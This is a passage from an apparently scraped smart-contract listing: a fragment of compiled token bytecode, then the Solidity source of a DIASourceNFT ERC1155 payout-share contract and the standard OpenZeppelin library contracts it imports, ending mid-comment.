05467ffffffffffffffff191667ffffffffffffffff88161790556115fe565b611511878467ffffffffffffffff1661142c565b91505b67ffffffffffffffff83161580159061154057508267ffffffffffffffff168667ffffffffffffffff16115b15611579575060008181526003602052604090205490925067ffffffffffffffff90811691839116611572878461142c565b9150611514565b8267ffffffffffffffff168667ffffffffffffffff16141561159a576115fe565b67ffffffffffffffff8316156115d4576000858152600360205260409020805467ffffffffffffffff191667ffffffffffffffff85161790555b6000848152600360205260409020805467ffffffffffffffff191667ffffffffffffffff88161790555b50505050505050565b600160a060020a031660009081526020819052604090205490565b6000600160a060020a038316151561163957600080fd5b600160a060020a03841660009081526020819052604090205482111561165e57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561168e57600080fd5b600160a060020a0384166000908152602081905260409020546116b7908363ffffffff61178716565b600160a060020a0380861660009081526020819052604080822093909355908516815220546116ec908363ffffffff61146016565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461172e908363ffffffff61178716565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391926000805160206119d6833981519152929181900390910190a35060019392505050565b60008282111561179357fe5b50900390565b600160a060020a0382166000908152602081905260409020548111156117be57600080fd5b600160a060020a0382166000908152602081905260409020546117e7908263ffffffff61178716565b600160a060020a038316600090815260208190526040902055600154611813908263ffffffff61178716565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206119d68339815191529181900360200190a35050565b6000600160a060020a038316151561189f57600080fd5b336000908152602081905260409020548211156118bb57600080fd5b336000908152602081905260409020546118db908363ffffffff61178716565b3360009081526020819052604080822092909255600160a060020a0385168152205461190d908363ffffffff61146016565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206119d68339815191529281900390910190a350600192915050565b600160a060020a038116151561196c57600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058203d361bdcdf748e63dc926aeb6403a0550d07dace235170d492a85967e241fdc60029
[ 1 ]
0xF2be51A44F2a1beb26BB9f025255dA07E873a98A
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract DIASourceNFT is Ownable, ERC1155 { address public paymentToken; mapping (address => bool) public dataNFTContractAddresses; struct SourceNFTMetadata { uint256 claimablePayout; bool exists; address admin; uint256[] parentIds; uint256[] parentPayoutShares; uint256 payoutShare; uint256 sourcePoolAmount; } mapping (uint256 => SourceNFTMetadata) public sourceNfts; constructor(address newOwner) ERC1155("https://api.diadata.org/v1/nft/source_{id}.json") { transferOwnership(newOwner); } function setMetadataUri(string memory metadataURI) onlyOwner external { _setURI(metadataURI); } function getSourcePoolAmount(uint256 sourceNftId) external view returns (uint256) { return sourceNfts[sourceNftId].sourcePoolAmount; } function setSourcePoolAmount(uint256 sourceNftId, uint256 newAmount) external { require(sourceNfts[sourceNftId].admin == msg.sender, "Source Pool Amount can only be set by the sART admin"); sourceNfts[sourceNftId].sourcePoolAmount = newAmount; } function addDataNFTContractAddress(address newAddress) onlyOwner external { require(newAddress != address(0), "New address is 0."); dataNFTContractAddresses[newAddress] = true; } function removeDataNFTContractAddress(address oldAddress) onlyOwner external { require(oldAddress != address(0), "Removed address is 0."); dataNFTContractAddresses[oldAddress] = false; } function updateAdmin(uint256 sourceNftId, address newAdmin) external { require(sourceNfts[sourceNftId].admin == msg.sender); sourceNfts[sourceNftId].admin = newAdmin; } function addParent(uint256 sourceNftId, uint256 parentId, uint256 payoutShare) external { require(sourceNfts[sourceNftId].admin == msg.sender); require(sourceNfts[sourceNftId].payoutShare >= payoutShare); require(sourceNfts[parentId].exists, "Parent NFT does not exist!"); sourceNfts[sourceNftId].payoutShare -= payoutShare; sourceNfts[sourceNftId].parentPayoutShares.push(payoutShare); sourceNfts[sourceNftId].parentIds.push(parentId); } function updateParentPayoutShare(uint256 sourceNftId, uint256 parentId, uint256 newPayoutShare) external { require(sourceNfts[sourceNftId].admin == msg.sender); uint256 arrayIndex = (2**256) - 1; // find parent ID in payout shares for (uint256 i = 0; i < sourceNfts[sourceNftId].parentPayoutShares.length; i++) { if (sourceNfts[sourceNftId].parentIds[i] == parentId) { arrayIndex = i; break; } } uint256 payoutDelta; // Check if we can distribute enough payout shares if (newPayoutShare >= sourceNfts[sourceNftId].parentPayoutShares[arrayIndex]) { payoutDelta = newPayoutShare - sourceNfts[sourceNftId].parentPayoutShares[arrayIndex]; require(sourceNfts[sourceNftId].payoutShare >= payoutDelta, "Error: Not enough shares left to increase payout!"); sourceNfts[sourceNftId].payoutShare -= payoutDelta; sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] += payoutDelta; } else { payoutDelta = sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] - newPayoutShare; require(sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] >= payoutDelta, "Error: Not enough shares left to decrease payout!"); sourceNfts[sourceNftId].payoutShare += payoutDelta; sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] -= payoutDelta; } } function generateSourceToken(uint256 sourceNftId, address receiver) external onlyOwner { sourceNfts[sourceNftId].exists = true; sourceNfts[sourceNftId].admin = msg.sender; sourceNfts[sourceNftId].payoutShare = 10000; _mint(receiver, sourceNftId, 1, ""); } function notifyDataNFTMint(uint256 sourceNftId) external { require(dataNFTContractAddresses[msg.sender], "notifyDataNFTMint: Only data NFT contracts can be used to mint data NFTs"); require(sourceNfts[sourceNftId].exists, "notifyDataNFTMint: Source NFT does not exist!"); for (uint256 i = 0; i < sourceNfts[sourceNftId].parentIds.length; i++) { uint256 currentParentId = sourceNfts[sourceNftId].parentIds[i]; sourceNfts[currentParentId].claimablePayout += (sourceNfts[sourceNftId].parentPayoutShares[i] * sourceNfts[sourceNftId].sourcePoolAmount) / 10000; } sourceNfts[sourceNftId].claimablePayout += (sourceNfts[sourceNftId].payoutShare * sourceNfts[sourceNftId].sourcePoolAmount) / 10000; } function claimRewards(uint256 sourceNftId) external { address claimer = msg.sender; require(sourceNfts[sourceNftId].admin == claimer); uint256 payoutDataTokens = sourceNfts[sourceNftId].claimablePayout; require(ERC20(paymentToken).transfer(claimer, payoutDataTokens), "Token transfer failed."); sourceNfts[sourceNftId].claimablePayout = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor (string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); _balances[id][account] = accountBalance - amount; emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); _balances[id][account] = accountBalance - amount; } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * 